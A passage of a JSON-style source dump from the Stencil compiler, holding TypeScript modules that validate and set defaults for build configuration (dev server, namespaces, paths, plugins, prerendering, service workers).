config.hashFileNames ?? !devMode;\n\n  const validatedConfig: ValidatedConfig = {\n    devServer: {}, // assign `devServer` before spreading `config`, in the event 'devServer' is not a key on `config`\n    ...config,\n    buildEs5: config.buildEs5 === true || (!devMode && config.buildEs5 === 'prod'),\n    devMode,\n    extras: config.extras || {},\n    flags,\n    generateExportMaps: isBoolean(config.generateExportMaps) ? config.generateExportMaps : false,\n    hashFileNames,\n    hashedFileNameLength: config.hashedFileNameLength ?? DEFAULT_HASHED_FILENAME_LENGTH,\n    hydratedFlag: validateHydrated(config),\n    logLevel,\n    logger,\n    minifyCss: config.minifyCss ?? !devMode,\n    minifyJs: config.minifyJs ?? !devMode,\n    outputTargets: config.outputTargets ?? [],\n    rollupConfig: validateRollupConfig(config),\n    sourceMap:\n      config.sourceMap === true || (devMode && (config.sourceMap === 'dev' || typeof config.sourceMap === 'undefined')),\n    sys: config.sys ?? bootstrapConfig.sys ?? createNodeSys({ logger }),\n    testing: config.testing ?? {},\n    docs: validateDocs(config, logger),\n    transformAliasedImportPaths: isBoolean(userConfig.transformAliasedImportPaths)\n      ? userConfig.transformAliasedImportPaths\n      : true,\n    validatePrimaryPackageOutputTarget: userConfig.validatePrimaryPackageOutputTarget ?? false,\n    ...validateNamespace(config.namespace, config.fsNamespace, diagnostics),\n    ...validatePaths(config),\n  };\n\n  validatedConfig.extras.lifecycleDOMEvents = !!validatedConfig.extras.lifecycleDOMEvents;\n  validatedConfig.extras.scriptDataOpts = !!validatedConfig.extras.scriptDataOpts;\n  validatedConfig.extras.initializeNextTick = !!validatedConfig.extras.initializeNextTick;\n  validatedConfig.extras.tagNameTransform = !!validatedConfig.extras.tagNameTransform;\n  validatedConfig.extras.additionalTagTransformers =\n    validatedConfig.extras.additionalTagTransformers === true ||\n    (!devMode && validatedConfig.extras.additionalTagTransformers === 'prod');\n  validatedConfig.extras.addGlobalStyleToComponents = isBoolean(validatedConfig.extras.addGlobalStyleToComponents)\n    ? validatedConfig.extras.addGlobalStyleToComponents\n    : 'client';\n\n  // TODO(STENCIL-914): remove when `experimentalSlotFixes` is the default behavior\n  // If the user set `experimentalSlotFixes` and any individual slot fix flags to `false`, we need to log a warning\n  // to the user that we will \"override\" the individual flags\n  if (validatedConfig.extras.experimentalSlotFixes === true) {\n    const possibleFlags: (keyof ConfigExtras)[] = [\n      'appendChildSlotFix',\n      'slotChildNodesFix',\n      'cloneNodeFix',\n      'scopedSlotTextContentFix',\n      'experimentalScopedSlotChanges',\n    ];\n    const conflictingFlags = possibleFlags.filter((flag) => validatedConfig.extras[flag] === false);\n    if (conflictingFlags.length > 0) {\n      const warning = buildError(diagnostics);\n      warning.level = 'warn';\n      warning.messageText = `If the 'experimentalSlotFixes' flag is enabled it will override any slot fix flags which are disabled. In particular, the following currently-disabled flags will be ignored: ${conflictingFlags.join(\n        ', ',\n      )}. Please update your Stencil config accordingly.`;\n    }\n  }\n\n  // TODO(STENCIL-914): remove `experimentalSlotFixes` when it's the default behavior\n  validatedConfig.extras.experimentalSlotFixes = !!validatedConfig.extras.experimentalSlotFixes;\n  if (validatedConfig.extras.experimentalSlotFixes === true) {\n    validatedConfig.extras.appendChildSlotFix = true;\n    validatedConfig.extras.cloneNodeFix = true;\n    validatedConfig.extras.slotChildNodesFix = true;\n    validatedConfig.extras.scopedSlotTextContentFix = true;\n    validatedConfig.extras.experimentalScopedSlotChanges = true;\n  } else {\n    validatedConfig.extras.appendChildSlotFix = !!validatedConfig.extras.appendChildSlotFix;\n    validatedConfig.extras.cloneNodeFix = !!validatedConfig.extras.cloneNodeFix;\n    validatedConfig.extras.slotChildNodesFix = !!validatedConfig.extras.slotChildNodesFix;\n    validatedConfig.extras.scopedSlotTextContentFix = !!validatedConfig.extras.scopedSlotTextContentFix;\n    // TODO(STENCIL-1086): remove this option when it's the default behavior\n    validatedConfig.extras.experimentalScopedSlotChanges = !!validatedConfig.extras.experimentalScopedSlotChanges;\n  }\n\n  setBooleanConfig(validatedConfig, 'watch', 'watch', false);\n  setBooleanConfig(validatedConfig, 'buildDocs', 'docs', !validatedConfig.devMode);\n  setBooleanConfig(validatedConfig, 'buildDist', 'esm', !validatedConfig.devMode || !!validatedConfig.buildEs5);\n  setBooleanConfig(validatedConfig, 'profile', 'profile', validatedConfig.devMode);\n  setBooleanConfig(validatedConfig, 'writeLog', 'log', false);\n  setBooleanConfig(validatedConfig, 'buildAppCore', null, true);\n  setBooleanConfig(validatedConfig, 'autoprefixCss', null, validatedConfig.buildEs5);\n  setBooleanConfig(validatedConfig, 'validateTypes', null, !validatedConfig._isTesting);\n  setBooleanConfig(validatedConfig, 'allowInlineScripts', null, true);\n  setBooleanConfig(validatedConfig, 'suppressReservedPublicNameWarnings', null, false);\n\n  if (!isString(validatedConfig.taskQueue)) {\n    validatedConfig.taskQueue = 'async';\n  }\n\n  // hash file names\n  if (!isBoolean(validatedConfig.hashFileNames)) {\n    validatedConfig.hashFileNames = !validatedConfig.devMode;\n  }\n  if (!isNumber(validatedConfig.hashedFileNameLength)) {\n    validatedConfig.hashedFileNameLength = DEFAULT_HASHED_FILENAME_LENGTH;\n  }\n  if (validatedConfig.hashedFileNameLength < MIN_HASHED_FILENAME_LENGTH) {\n    const err = buildError(diagnostics);\n    err.messageText = `validatedConfig.hashedFileNameLength must be at least ${MIN_HASHED_FILENAME_LENGTH} characters`;\n  }\n  if (validatedConfig.hashedFileNameLength > MAX_HASHED_FILENAME_LENGTH) {\n    const err = buildError(diagnostics);\n    err.messageText = `validatedConfig.hashedFileNameLength cannot be more than ${MAX_HASHED_FILENAME_LENGTH} characters`;\n  }\n  if (!validatedConfig.env) {\n    validatedConfig.env = {};\n  }\n\n  // outputTargets\n  validateOutputTargets(validatedConfig, diagnostics);\n\n  // plugins\n  validatePlugins(validatedConfig, diagnostics);\n\n  // dev server\n  validatedConfig.devServer = validateDevServer(validatedConfig, diagnostics);\n\n  // testing\n  validateTesting(validatedConfig, diagnostics);\n\n  // bundles\n  if (Array.isArray(validatedConfig.bundles)) {\n    validatedConfig.bundles = sortBy(validatedConfig.bundles, (a: ConfigBundle) => a.components.length);\n  } else {\n    validatedConfig.bundles = [];\n  }\n\n  // exclude components (tag list)\n  if (!Array.isArray(validatedConfig.excludeComponents)) {\n    validatedConfig.excludeComponents = [];\n  }\n\n  // validate how many workers we can use\n  validateWorkers(validatedConfig);\n\n  // default devInspector to whatever devMode is\n  setBooleanConfig(validatedConfig, 'devInspector', null, validatedConfig.devMode);\n\n  if (!validatedConfig._isTesting) {\n    validateDistNamespace(validatedConfig, diagnostics);\n  }\n\n  setBooleanConfig(validatedConfig, 'enableCache', 'cache', true);\n\n  if (!Array.isArray(validatedConfig.watchIgnoredRegex) && validatedConfig.watchIgnoredRegex != null) {\n    validatedConfig.watchIgnoredRegex = [validatedConfig.watchIgnoredRegex];\n  }\n  validatedConfig.watchIgnoredRegex = ((validatedConfig.watchIgnoredRegex as RegExp[]) || []).reduce((arr, reg) => {\n    if (reg instanceof RegExp) {\n      arr.push(reg);\n    }\n    return arr;\n  }, [] as RegExp[]);\n\n  // TODO(STENCIL-1107): Remove this check. It'll be unneeded (and raise a compilation error when we build Stencil) once\n  // this property is removed.\n  if (validatedConfig.nodeResolve?.customResolveOptions) {\n    const warn = buildWarn(diagnostics);\n    // this message is particularly long - let the underlying logger implementation take responsibility for breaking it\n    // up to fit in a terminal window\n    warn.messageText = `nodeResolve.customResolveOptions is a deprecated option in a Stencil Configuration file. If you need this option, please open a new issue in the Stencil repository (https://github.com/stenciljs/core/issues/new/choose)`;\n  }\n\n  CACHED_VALIDATED_CONFIG = validatedConfig;\n\n  return {\n    config: validatedConfig,\n    diagnostics,\n  };\n};\n"
  },
  {
    "path": "src/compiler/config/validate-copy.ts",
    "content": "import { unique } from '@utils';\n\nimport type * as d from '../../declarations';\n\n/**\n * Validate a series of {@link d.CopyTask}s\n * @param copy the copy tasks to validate, or a boolean to specify if copy tasks are enabled\n * @param defaultCopy default copy tasks to add to the returned validated list if not present in the first argument\n * @returns the validated copy tasks\n */\nexport const validateCopy = (\n  copy: d.CopyTask[] | boolean | null | undefined,\n  defaultCopy: d.CopyTask[] = [],\n): d.CopyTask[] => {\n  if (copy === null || copy === false) {\n    return [];\n  }\n  if (!Array.isArray(copy)) {\n    copy = [];\n  }\n  copy = copy.slice();\n  for (const task of defaultCopy) {\n    if (copy.every((t) => t.src !== task.src)) {\n      copy.push(task);\n    }\n  }\n  return unique(copy, (task) => `${task.src}:${task.dest}:${task.keepDirStructure}`);\n};\n"
  },
  {
    "path": "src/compiler/config/validate-dev-server.ts",
    "content": "import { buildError, isBoolean, isNumber, isOutputTargetWww, isString, join, normalizePath } from '@utils';\nimport { isAbsolute } from 'path';\n\nimport type * as d from '../../declarations';\n\nexport const validateDevServer = (config: d.ValidatedConfig, diagnostics: d.Diagnostic[]): d.DevServerConfig => {\n  if ((config.devServer === null || (config.devServer as any)) === false) {\n    return {};\n  }\n\n  const { flags } = config;\n  const devServer = { ...config.devServer };\n\n  if (flags.address && isString(flags.address)) {\n    devServer.address = flags.address;\n  } else if (!isString(devServer.address)) {\n    devServer.address = '0.0.0.0';\n  }\n\n  // default to http for local dev\n  let addressProtocol: 'http' | 'https' = 'http';\n  if (devServer.address.toLowerCase().startsWith('http://')) {\n    devServer.address = devServer.address.substring(7);\n    addressProtocol = 'http';\n  } else if (devServer.address.toLowerCase().startsWith('https://')) {\n    devServer.address = devServer.address.substring(8);\n    addressProtocol = 'https';\n  }\n\n  devServer.address = devServer.address.split('/')[0];\n\n  // Validate \"ping\" route option\n  if (devServer.pingRoute !== null) {\n    let pingRoute = isString(devServer.pingRoute) ? devServer.pingRoute : '/ping';\n    if (!pingRoute.startsWith('/')) {\n      pingRoute = `/${pingRoute}`;\n    }\n\n    devServer.pingRoute = pingRoute;\n  }\n\n  // split on `:` to get the domain and the (possibly present) port\n  // separately. we've already sliced off the protocol (if present) above\n  // so we can safely split on `:` here.\n  const addressSplit = devServer.address.split(':');\n\n  const isLocalhost = addressSplit[0] === 'localhost' || !isNaN(addressSplit[0].split('.')[0] as any);\n\n  // if localhost we use 3333 as a default port\n  let addressPort: number | undefined = isLocalhost ? 3333 : undefined;\n\n  if (addressSplit.length > 1) {\n    if (!isNaN(addressSplit[1] as any)) {\n      devServer.address = addressSplit[0];\n      addressPort = parseInt(addressSplit[1], 10);\n    }\n  }\n\n  if (isNumber(flags.port)) {\n    devServer.port = flags.port;\n  } else if (devServer.port !== null && !isNumber(devServer.port)) {\n    if (isNumber(addressPort)) {\n      devServer.port = addressPort;\n    }\n  }\n\n  if (devServer.reloadStrategy === undefined) {\n    devServer.reloadStrategy = 'hmr';\n  } else if (\n    devServer.reloadStrategy !== 'hmr' &&\n    devServer.reloadStrategy !== 'pageReload' &&\n    devServer.reloadStrategy !== null\n  ) {\n    const err = buildError(diagnostics);\n    err.messageText = `Invalid devServer reloadStrategy \"${devServer.reloadStrategy}\". Valid configs include \"hmr\", \"pageReload\" and null.`;\n  }\n\n  if (!isBoolean(devServer.gzip)) {\n    devServer.gzip = true;\n  }\n\n  if (!isBoolean(devServer.openBrowser)) {\n    devServer.openBrowser = true;\n  }\n\n  if (!isBoolean(devServer.websocket)) {\n    devServer.websocket = true;\n  }\n\n  if (!isBoolean(devServer.strictPort)) {\n    devServer.strictPort = false;\n  }\n\n  if (flags.ssr) {\n    devServer.ssr = true;\n  } else {\n    devServer.ssr = !!devServer.ssr;\n  }\n\n  if (devServer.ssr) {\n    const wwwOutput = (config.outputTargets ?? []).find(isOutputTargetWww);\n    devServer.prerenderConfig = wwwOutput?.prerenderConfig;\n  }\n\n  if (isString(config.srcIndexHtml)) {\n    devServer.srcIndexHtml = normalizePath(config.srcIndexHtml);\n  }\n\n  if (devServer.protocol !== 'http' && devServer.protocol !== 'https') {\n    devServer.protocol = devServer.https ? 'https' : addressProtocol ? addressProtocol : 'http';\n  }\n\n  if (devServer.historyApiFallback !== null) {\n    if (Array.isArray(devServer.historyApiFallback) || typeof devServer.historyApiFallback !== 'object') {\n      devServer.historyApiFallback = {};\n    }\n\n    if (!isString(devServer.historyApiFallback.index)) {\n      devServer.historyApiFallback.index = 'index.html';\n    }\n\n    if (!isBoolean(devServer.historyApiFallback.disableDotRule)) {\n      devServer.historyApiFallback.disableDotRule = false;\n    }\n  }\n\n  if (flags.open === false) {\n    devServer.openBrowser = false;\n  } else if (flags.prerender && !config.watch) {\n    devServer.openBrowser = false;\n  }\n\n  let serveDir: string;\n  let basePath: string;\n  const wwwOutputTarget = (config.outputTargets ?? []).find(isOutputTargetWww);\n\n  if (wwwOutputTarget) {\n    const baseUrl = new URL(wwwOutputTarget.baseUrl ?? '', 'http://config.stenciljs.com');\n    basePath = baseUrl.pathname;\n    serveDir = wwwOutputTarget.appDir ?? '';\n  } else {\n    basePath = '';\n    serveDir = config.rootDir ?? '';\n  }\n\n  if (!isString(basePath) || basePath.trim() === '') {\n    basePath = `/`;\n  }\n\n  basePath = normalizePath(basePath);\n\n  if (!basePath.startsWith('/')) {\n    basePath = '/' + basePath;\n  }\n\n  if (!basePath.endsWith('/')) {\n    basePath += '/';\n  }\n\n  if (!isBoolean(devServer.logRequests)) {\n    devServer.logRequests = config.logLevel === 'debug';\n  }\n\n  if (!isString(devServer.root)) {\n    devServer.root = serveDir;\n  }\n\n  if (!isString(devServer.basePath)) {\n    devServer.basePath = basePath;\n  }\n\n  if (isString((devServer as any).baseUrl)) {\n    const err = buildError(diagnostics);\n    err.messageText = `devServer config \"baseUrl\" has been renamed to \"basePath\", and should not include a domain or protocol.`;\n  }\n\n  if (!isAbsolute(devServer.root)) {\n    devServer.root = join(config.rootDir as string, devServer.root);\n  }\n  devServer.root = normalizePath(devServer.root);\n\n  if (devServer.excludeHmr) {\n    if (!Array.isArray(devServer.excludeHmr)) {\n      const err = buildError(diagnostics);\n      err.messageText = `dev server excludeHmr must be an array of glob strings`;\n    }\n  } else {\n    devServer.excludeHmr = [];\n  }\n\n  if (!config.devMode || config.buildEs5) {\n    devServer.experimentalDevModules = false;\n  } else {\n    devServer.experimentalDevModules = !!devServer.experimentalDevModules;\n  }\n\n  return devServer;\n};\n"
  },
  {
    "path": "src/compiler/config/validate-docs.ts",
    "content": "import * as d from '../../declarations';\nimport { UnvalidatedConfig } from '../../declarations';\nimport { isHexColor } from '../docs/readme/docs-util';\nimport { DEFAULT_TARGET_COMPONENT_STYLES } from './constants';\n\n/**\n * Validate the `.docs` property on the supplied config object and\n * return a properly-validated value.\n *\n * @param config the configuration we're examining\n * @param logger the logger that will be set on the config\n * @returns a suitable/default value for the docs property\n */\nexport const validateDocs = (config: UnvalidatedConfig, logger: d.Logger): d.ValidatedConfig['docs'] => {\n  const { background: defaultBackground, textColor: defaultTextColor } = DEFAULT_TARGET_COMPONENT_STYLES;\n\n  let { background = defaultBackground, textColor = defaultTextColor } =\n    config.docs?.markdown?.targetComponent ?? DEFAULT_TARGET_COMPONENT_STYLES;\n\n  if (!isHexColor(background)) {\n    logger.warn(\n      `'${background}' is not a valid hex color. The default value for diagram backgrounds ('${defaultBackground}') will be used.`,\n    );\n    background = defaultBackground;\n  }\n\n  if (!isHexColor(textColor)) {\n    logger.warn(\n      `'${textColor}' is not a valid hex color. The default value for diagram text ('${defaultTextColor}') will be used.`,\n    );\n    textColor = defaultTextColor;\n  }\n\n  return {\n    markdown: {\n      targetComponent: {\n        background,\n        textColor,\n      },\n    },\n  };\n};\n"
  },
  {
    "path": "src/compiler/config/validate-hydrated.ts",
    "content": "import { isString } from '@utils';\n\nimport { HydratedFlag, UnvalidatedConfig } from '../../declarations';\n\n/**\n * Validate the `.hydratedFlag` property on the supplied config object and\n * return a properly-validated value.\n *\n * @param config the configuration we're examining\n * @returns a suitable value for the hydratedFlag property\n */\nexport const validateHydrated = (config: UnvalidatedConfig): HydratedFlag | null => {\n  /**\n   * If `config.hydratedFlag` is set to `null` that is an explicit signal that we\n   * should _not_ create a default configuration when validating and should instead\n   * just return `null`. It may also have been set to `false`; this is an invalid\n   * value as far as the type system is concerned, but users may ignore this.\n   *\n   * See {@link HydratedFlag} for more details.\n   */\n  if (config.hydratedFlag === null || (config.hydratedFlag as unknown as boolean) === false) {\n    return null;\n  }\n\n  // Here we start building up a default config since `.hydratedFlag` wasn't set to\n  // `null` on the provided config.\n  const hydratedFlag: HydratedFlag = { ...(config.hydratedFlag ?? {}) };\n\n  if (!isString(hydratedFlag.name) || hydratedFlag.property === '') {\n    hydratedFlag.name = `hydrated`;\n  }\n\n  if (hydratedFlag.selector === 'attribute') {\n    hydratedFlag.selector = `attribute`;\n  } else {\n    hydratedFlag.selector = `class`;\n  }\n\n  if (!isString(hydratedFlag.property) || hydratedFlag.property === '') {\n    hydratedFlag.property = `visibility`;\n  }\n\n  if (!isString(hydratedFlag.initialValue) && hydratedFlag.initialValue !== null) {\n    hydratedFlag.initialValue = `hidden`;\n  }\n\n  if (!isString(hydratedFlag.hydratedValue) && hydratedFlag.initialValue !== null) {\n    hydratedFlag.hydratedValue = `inherit`;\n  }\n\n  return hydratedFlag;\n};\n"
  },
  {
    "path": "src/compiler/config/validate-namespace.ts",
    "content": "import { buildError, dashToPascalCase, isOutputTargetDist, isString } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { DEFAULT_NAMESPACE } from './constants';\n\n/**\n * Ensures that the `namespace` and `fsNamespace` properties on a project's\n * Stencil config are valid strings. A valid namespace means:\n * - at least 3 characters\n * - cannot start with a number or dash\n * - cannot end with a dash\n * - must only contain alphanumeric, dash, and dollar sign characters\n *\n * If any conditions are not met, a diagnostic is added to the provided array.\n *\n * If a namespace is not provided, the default value is `App`.\n *\n * @param namespace The namespace to validate\n * @param fsNamespace The fsNamespace to validate\n * @param diagnostics The array of diagnostics to add to if the namespace is invalid\n * @returns The validated namespace and fsNamespace\n */\nexport const validateNamespace = (\n  namespace: string | undefined,\n  fsNamespace: string | undefined,\n  diagnostics: d.Diagnostic[],\n) => {\n  namespace = isString(namespace) ? namespace : DEFAULT_NAMESPACE;\n  namespace = namespace.trim();\n\n  const invalidNamespaceChars = namespace.replace(/(\\w)|(\\-)|(\\$)/g, '');\n  if (invalidNamespaceChars !== '') {\n    const err = buildError(diagnostics);\n    err.messageText = `Namespace \"${namespace}\" contains invalid characters: ${invalidNamespaceChars}`;\n  }\n  if (namespace.length < 3) {\n    const err = buildError(diagnostics);\n    err.messageText = `Namespace \"${namespace}\" must be at least 3 characters`;\n  }\n  if (/^\\d+$/.test(namespace.charAt(0))) {\n    const err = buildError(diagnostics);\n    err.messageText = `Namespace \"${namespace}\" cannot have a number for the first character`;\n  }\n  if (namespace.charAt(0) === '-') {\n    const err = buildError(diagnostics);\n    err.messageText = `Namespace \"${namespace}\" cannot have a dash for the first character`;\n  }\n  if (namespace.charAt(namespace.length - 1) === '-') {\n    const err = buildError(diagnostics);\n    err.messageText = `Namespace \"${namespace}\" cannot have a dash for the last character`;\n  }\n\n  // the file system namespace is the one\n  // used in filenames and seen in the url\n  if (!isString(fsNamespace)) {\n    fsNamespace = namespace.toLowerCase().trim();\n  }\n\n  if (namespace.includes('-')) {\n    // convert to PascalCase\n    namespace = dashToPascalCase(namespace);\n  }\n\n  return { namespace, fsNamespace };\n};\n\nexport const validateDistNamespace = (config: d.UnvalidatedConfig, diagnostics: d.Diagnostic[]) => {\n  const hasDist = (config.outputTargets ?? []).some(isOutputTargetDist);\n  if (hasDist) {\n    if (!isString(config.namespace) || config.namespace.toLowerCase() === 'app') {\n      const err = buildError(diagnostics);\n      err.messageText = `When generating a distribution it is recommended to choose a unique namespace rather than the default setting \"App\". Please updated the \"namespace\" config property within the stencil config.`;\n    }\n  }\n};\n"
  },
  {
    "path": "src/compiler/config/validate-paths.ts",
    "content": "import { join, normalizePath } from '@utils';\nimport { isAbsolute } from 'path';\n\nimport type * as d from '../../declarations';\n\n/**\n * The paths validated in this module. These fields can be incorporated into a\n * {@link d.ValidatedConfig} object.\n */\ninterface ConfigPaths {\n  rootDir: string;\n  srcDir: string;\n  packageJsonFilePath: string;\n  cacheDir: string;\n  srcIndexHtml: string;\n  globalScript?: string;\n  globalStyle?: string;\n  buildLogFilePath?: string;\n}\n\n/**\n * Do logical-level validation (as opposed to type-level validation)\n * for various properties in the user-supplied config which represent\n * filesystem paths.\n *\n * @param config a validated user-supplied configuration\n * @returns an object holding the validated paths\n */\nexport const validatePaths = (config: d.Config): ConfigPaths => {\n  const rootDir = typeof config.rootDir !== 'string' ? '/' : config.rootDir;\n\n  let srcDir = typeof config.srcDir !== 'string' ? DEFAULT_SRC_DIR : config.srcDir;\n\n  if (!isAbsolute(srcDir)) {\n    srcDir = join(rootDir, srcDir);\n  }\n\n  let cacheDir = typeof config.cacheDir !== 'string' ? DEFAULT_CACHE_DIR : config.cacheDir;\n\n  if (!isAbsolute(cacheDir)) {\n    cacheDir = join(rootDir, cacheDir);\n  } else {\n    cacheDir = normalizePath(cacheDir);\n  }\n\n  let srcIndexHtml = typeof config.srcIndexHtml !== 'string' ? join(srcDir, DEFAULT_INDEX_HTML) : config.srcIndexHtml;\n\n  if (!isAbsolute(srcIndexHtml)) {\n    srcIndexHtml = join(rootDir, srcIndexHtml);\n  }\n\n  const packageJsonFilePath = join(rootDir, 'package.json');\n\n  const validatedPaths: ConfigPaths = {\n    rootDir,\n    srcDir,\n    cacheDir,\n    srcIndexHtml,\n    packageJsonFilePath,\n  };\n\n  if (typeof config.globalScript === 'string' && !isAbsolute(config.globalScript)) {\n    validatedPaths.globalScript = join(rootDir, config.globalScript);\n  }\n\n  if (typeof config.globalStyle === 'string' && !isAbsolute(config.globalStyle)) {\n    validatedPaths.globalStyle = join(rootDir, config.globalStyle);\n  }\n\n  if (config.writeLog) {\n    validatedPaths.buildLogFilePath =\n      typeof config.buildLogFilePath === 'string' ? config.buildLogFilePath : DEFAULT_BUILD_LOG_FILE_NAME;\n\n    if (!isAbsolute(validatedPaths.buildLogFilePath)) {\n      validatedPaths.buildLogFilePath = join(rootDir, config.buildLogFilePath);\n    }\n  }\n\n  return validatedPaths;\n};\n\nconst DEFAULT_BUILD_LOG_FILE_NAME = 'stencil-build.log';\nconst DEFAULT_CACHE_DIR = '.stencil';\nconst DEFAULT_INDEX_HTML = 'index.html';\nconst DEFAULT_SRC_DIR = 'src';\n"
  },
  {
    "path": "src/compiler/config/validate-plugins.ts",
    "content": "import { buildWarn } from '@utils';\n\nimport type * as d from '../../declarations';\n\nexport const validatePlugins = (config: d.UnvalidatedConfig, diagnostics: d.Diagnostic[]) => {\n  const userPlugins = config.plugins;\n\n  if (!config.rollupPlugins) {\n    config.rollupPlugins = {};\n  }\n  if (!Array.isArray(userPlugins)) {\n    config.plugins = [];\n    return;\n  }\n\n  const rollupPlugins = userPlugins.filter((plugin) => {\n    return !!(plugin && typeof plugin === 'object' && !plugin.pluginType);\n  });\n\n  const hasResolveNode = rollupPlugins.some((p) => p.name === 'node-resolve');\n  const hasCommonjs = rollupPlugins.some((p) => p.name === 'commonjs');\n\n  if (hasCommonjs) {\n    const warn = buildWarn(diagnostics);\n    warn.messageText = `Stencil already uses \"@rollup/plugin-commonjs\", please remove it from your \"stencil.config.ts\" plugins.\n    You can configure the commonjs settings using the \"commonjs\" property in \"stencil.config.ts`;\n  }\n\n  if (hasResolveNode) {\n    const warn = buildWarn(diagnostics);\n    warn.messageText = `Stencil already uses \"@rollup/plugin-commonjs\", please remove it from your \"stencil.config.ts\" plugins.\n    You can configure the commonjs settings using the \"commonjs\" property in \"stencil.config.ts`;\n  }\n\n  config.rollupPlugins.before = [\n    ...(config.rollupPlugins.before || []),\n    ...rollupPlugins.filter(({ name }) => name !== 'node-resolve' && name !== 'commonjs'),\n  ];\n\n  config.plugins = userPlugins.filter((plugin) => {\n    return !!(plugin && typeof plugin === 'object' && plugin.pluginType);\n  });\n};\n"
  },
  {
    "path": "src/compiler/config/validate-prerender.ts",
    "content": "import { buildError, isString, join, normalizePath } from '@utils';\nimport { isAbsolute } from 'path';\n\nimport type * as d from '../../declarations';\n\nexport const validatePrerender = (\n  config: d.ValidatedConfig,\n  diagnostics: d.Diagnostic[],\n  outputTarget: d.OutputTargetWww,\n) => {\n  if (!config.flags.ssr && !config.flags.prerender && config.flags.task !== 'prerender') {\n    return;\n  }\n\n  outputTarget.baseUrl = normalizePath(outputTarget.baseUrl);\n\n  if (!outputTarget.baseUrl.startsWith('http://') && !outputTarget.baseUrl.startsWith('https://')) {\n    const err = buildError(diagnostics);\n    err.messageText = `When prerendering, the \"baseUrl\" output target config must be a full URL and start with either \"http://\" or \"https://\". The config can be updated in the \"www\" output target within the stencil config.`;\n  }\n\n  try {\n    new URL(outputTarget.baseUrl);\n  } catch (e) {\n    const err = buildError(diagnostics);\n    err.messageText = `invalid \"baseUrl\": ${e}`;\n  }\n\n  if (!outputTarget.baseUrl.endsWith('/')) {\n    outputTarget.baseUrl += '/';\n  }\n\n  if (isString(outputTarget.prerenderConfig)) {\n    if (!isAbsolute(outputTarget.prerenderConfig)) {\n      outputTarget.prerenderConfig = join(config.rootDir, outputTarget.prerenderConfig);\n    }\n  }\n};\n"
  },
  {
    "path": "src/compiler/config/validate-rollup-config.ts",
    "content": "import { isObject, pluck } from '@utils';\n\nimport type * as d from '../../declarations';\n\n/**\n * Ensure that a valid baseline rollup configuration is set on the validated\n * config.\n *\n * If a config is present this will return a new config based on the user\n * supplied one.\n *\n * If no config is present, this will return a default config.\n *\n * @param config a validated user-supplied configuration object\n * @returns a validated rollup configuration\n */\nexport const validateRollupConfig = (config: d.Config): d.RollupConfig => {\n  let cleanRollupConfig = { ...DEFAULT_ROLLUP_CONFIG };\n\n  const rollupConfig = config.rollupConfig;\n\n  if (!rollupConfig || !isObject(rollupConfig)) {\n    return cleanRollupConfig;\n  }\n\n  if (rollupConfig.inputOptions && isObject(rollupConfig.inputOptions)) {\n    cleanRollupConfig = {\n      ...cleanRollupConfig,\n      inputOptions: pluck(rollupConfig.inputOptions, [\n        'context',\n        'moduleContext',\n        'treeshake',\n        'external',\n        'maxParallelFileOps',\n      ]),\n    };\n  }\n\n  if (rollupConfig.outputOptions && isObject(rollupConfig.outputOptions)) {\n    cleanRollupConfig = {\n      ...cleanRollupConfig,\n      outputOptions: pluck(rollupConfig.outputOptions, ['globals']),\n    };\n  }\n\n  return cleanRollupConfig;\n};\n\nconst DEFAULT_ROLLUP_CONFIG: d.RollupConfig = {\n  inputOptions: {},\n  outputOptions: {},\n};\n"
  },
  {
    "path": "src/compiler/config/validate-service-worker.ts",
    "content": "import { isString, join } from '@utils';\nimport { isAbsolute } from 'path';\n\nimport type * as d from '../../declarations';\n\n/**\n * Validate that a service worker configuration is valid, if it is present and\n * accounted for.\n *\n * Note that our service worker configuration / support is based on\n * Workbox, a package for automatically generating Service Workers to cache\n * assets on the client. More here: https://developer.chrome.com/docs/workbox/\n *\n * This function first checks that the service worker config set on the\n * supplied `OutputTarget` is not empty and that we are not currently in\n * development mode. In those cases it will early return.\n *\n * If we do find a service worker configuration we do some validation to ensure\n * that things are set up correctly.\n *\n * @param config the current, validated configuration\n * @param outputTarget the `www` outputTarget whose service worker\n * configuration we want to validate. **Note**: the `.serviceWorker` object\n * _will be mutated_ if it is present.\n */\nexport const validateServiceWorker = (config: d.ValidatedConfig, outputTarget: d.OutputTargetWww): void => {\n  if (outputTarget.serviceWorker === false) {\n    return;\n  }\n  if (config.devMode && !config.flags.serviceWorker) {\n    outputTarget.serviceWorker = null;\n    return;\n  }\n\n  if (outputTarget.serviceWorker === null) {\n    outputTarget.serviceWorker = null;\n    return;\n  }\n\n  if (!outputTarget.serviceWorker && config.devMode) {\n    outputTarget.serviceWorker = null;\n    return;\n  }\n\n  const globDirectory =\n    typeof outputTarget.serviceWorker?.globDirectory === 'string'\n      ? outputTarget.serviceWorker.globDirectory\n      : outputTarget.appDir;\n\n  outputTarget.serviceWorker = {\n    ...outputTarget.serviceWorker,\n    globDirectory,\n    swDest: isString(outputTarget.serviceWorker?.swDest)\n      ? outputTarget.serviceWorker.swDest\n      : join(outputTarget.appDir ?? '', DEFAULT_FILENAME),\n  };\n\n  if (!Array.isArray(outputTarget.serviceWorker.globPatterns)) {\n    if (typeof outputTarget.serviceWorker.globPatterns === 'string') {\n      outputTarget.serviceWorker.globPatterns = [outputTarget.serviceWorker.globPatterns];\n    } else if (typeof outputTarget.serviceWorker.globPatterns !== 'string') {\n      outputTarget.serviceWorker.globPatterns = DEFAULT_GLOB_PATTERNS.slice();\n    }\n  }\n\n  if (typeof outputTarget.serviceWorker.globIgnores === 'string') {\n    outputTarget.serviceWorker.globIgnores = [outputTarget.serviceWorker.globIgnores];\n  }\n\n  outputTarget.serviceWorker.globIgnores = outputTarget.serviceWorker.globIgnores || [];\n\n  addGlobIgnores(config, outputTarget.serviceWorker.globIgnores);\n\n  outputTarget.serviceWorker.dontCacheBustURLsMatching = /p-\\w{8}/;\n\n  if (isString(outputTarget.serviceWorker.swSrc) && !isAbsolute(outputTarget.serviceWorker.swSrc)) {\n    outputTarget.serviceWorker.swSrc = join(config.rootDir, outputTarget.serviceWorker.swSrc);\n  }\n\n  if (isString(outputTarget.serviceWorker.swDest) && !isAbsolute(outputTarget.serviceWorker.swDest)) {\n    outputTarget.serviceWorker.swDest = join(outputTarget.appDir ?? '', outputTarget.serviceWorker.swDest);\n  }\n};\n\n/**\n * Add file glob patterns to the `globIgnores` for files we don't want to cache\n * with the service worker.\n *\n * @param config the current, validated configuration\n * @param globIgnores list of file ignore patterns. **Note**: will be mutated.\n */\nconst addGlobIgnores = (config: d.ValidatedConfig, globIgnores: string[]) => {\n  globIgnores.push(\n    `**/host.config.json`, // the filename of the host 